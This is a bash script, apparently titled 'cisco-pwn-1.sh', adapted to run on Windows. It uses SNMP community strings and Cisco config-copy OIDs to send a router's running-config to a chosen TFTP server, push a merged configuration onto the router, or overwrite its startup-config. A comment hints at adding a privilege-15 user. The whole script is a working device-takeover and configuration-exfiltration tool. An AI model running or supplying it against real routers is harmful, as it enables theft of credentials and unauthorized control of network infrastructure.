#!/bin/bash
# rui@deniable.org
# miguel@miguelsarmiento.com (Added ability to write startup configuration. Using SNMP version 2c by default).
# http://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html
# http://tools.cisco.com/Support/SNMP/do/BrowseOID.do
# ftp://ftp.cisco.com/pub/mibs/oid/CISCO-CONFIG-COPY-MIB.oid
# hint: username <username> privilege 15 password 0 <password>
# Important:
#
# MSG. Modified to work on Windows using winbash and unxutils. Extract them to c:\unxutils.
# http://win-bash.sourceforge.net/; http://unxutils.sourceforge.net/
#
# Using SNMP-GET utils for windows. Extract to SMMP-GET also extract MIBS to same.
# Disable check_tools since everything is run from the SNMP-GET directory.
# Run from SNMP-GET as: c:\unxutils\bash cisco-pwn-1.sh [[...]]

# ------
#check_tools() {
#        SNMPSET=`which snmpset`
#        SNMPGET=`which snmpget`
#        if [ "$SNMPSET" == "" ] || [ "$SNMPGET" == "" ]; then
#                echo "You need snmpwalk, snmpget, and snmpset from Net-SNMP (http://net-snmp.sourceforge.net/) installed."
#                exit
#        fi
#}
# ------

SNMPSET="c:/SNMP-GET/snmpset"
SNMPGET="c:/SNMP-GET/snmpget"
MIBS="c:/SNMP-GET/net-snmp-5.8/mibs"

print_usage() {
        echo "$0 <router-ip> <tftp-serverip> <community> <option> <filename>"
        echo "Available options are:"
        echo "  0. Extract Cisco IOS version via SNMP"
        echo "  1. Download Cisco running-config File (save as NAME)"
        echo "  2. Merge Cisco running-config File (use NAME)"
        echo "  3. Check status of the copy"
        echo "  4. Write Cisco startup-config File (NAME) !!File needs to have the full configuration!!"
}

print_ios_version() {
        $SNMPGET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP iso.3.6.1.2.1.1.1.0 | grep IOS
}

check_copy_status() {
    status=`$SNMPGET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.10.334 | awk '{ print $4 }'`
        case $status in
        2) echo "RUNNING" ;;
        3) echo "SUCCESS" ;;
        4) echo "BAD FILE NAME" ;;
        *)
        ;;
        esac
}

download_config() {
        # set CopyStatus to delete in order to clean all saved informations out of the MIB
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.334 i 6
        # set ConfigCopyProtocol to TFTP (1 tftp, 2 ftp, 3 rcp, 4 scp, 5 sftp)
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.2.334 i 1
        # set the SourceFileType to running-config (1 networkFile, 2 iosFile, 3 startupConfig, 4 runningConfig, 5 terminal, 6 fabricStartupConfig)
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.3.334 i 4
        # set the DestinationFileType to networkfile (1 networkFile, 2 iosFile, 3 startupConfig, 4 runningConfig, 5 terminal, 6 fabricStartupConfig

        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.4.334 i 1
        # sets the ServerAddress to the IP address of the TFTP server
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.5.334 a $TFTP_SERVER_IP
        # set the CopyFilename to your desired file name
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.334 s $CONFIG_FILE
        # set the CopyStatus to active which starts the copy process
        # once the entry status is set to active, the associated entry cannot be modified until the request completes
        # 1 active, 2 notInService, 3 notReady, 4 createAndGo, 5 createAndWait, 6 destroy
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.334 i 1
        check_copy_status
}

# In order to force the router to download the file from tftp, and apply the configuration changes, we modify a couple lines from download_config()

# The SNMP MIBs for the OIDs 1.3.6.1.4.1.9.9.96.1.1.1.1.3 and 1.3.6.1.4.1.9.9.96.1.1.1.1.4 are ccCopySourceFileType and ccCopyDestFileType respectiely.
# The integer values we can use for these are listed above (1 networkFile, 2 iosFile, 3 startupConfig, 4 runningConfig, 5 terminal, 6 fabricStartuponfig).
# In download_config() function our copy source was set to runningConfig, and the destination was networkFile.
# In order to merge our configuration with the running-config we are going to reverse these settings.

merge_config() {
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.334 i 6
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.2.334 i 1
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.3.334 i 1
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.4.334 i 4
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.5.334 a $TFTP_SERVER_IP
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.334 s $CONFIG_FILE
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.334 i 1
        check_copy_status
}

# Write configuration to router.

write_config() {
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.334 i 6
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.2.334 i 1
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.3.334 i 1
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.4.334 i 3
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.5.334 a $TFTP_SERVER_IP
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.334 s $CONFIG_FILE
        $SNMPSET -M $MIBS -c $COMMUNITY_STRING -v $VERSION $TARGET_IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.334 i 1
        check_copy_status
}

#check_tools

if [ "$#" -ne 5 ]; then
        print_usage
        exit
else
        TARGET_IP=$1
        TFTP_SERVER_IP=$2
        COMMUNITY_STRING=$3
        CONFIG_FILE=$5
        VERSION=2c      # 2c
fi

case $4 in
0) print_ios_version ;;
1) download_config ;;
2) merge_config ;;
3) check_copy_status ;;
4) write_config ;;
*) echo "INVALID OPTION!"
   print_usage ;;
esac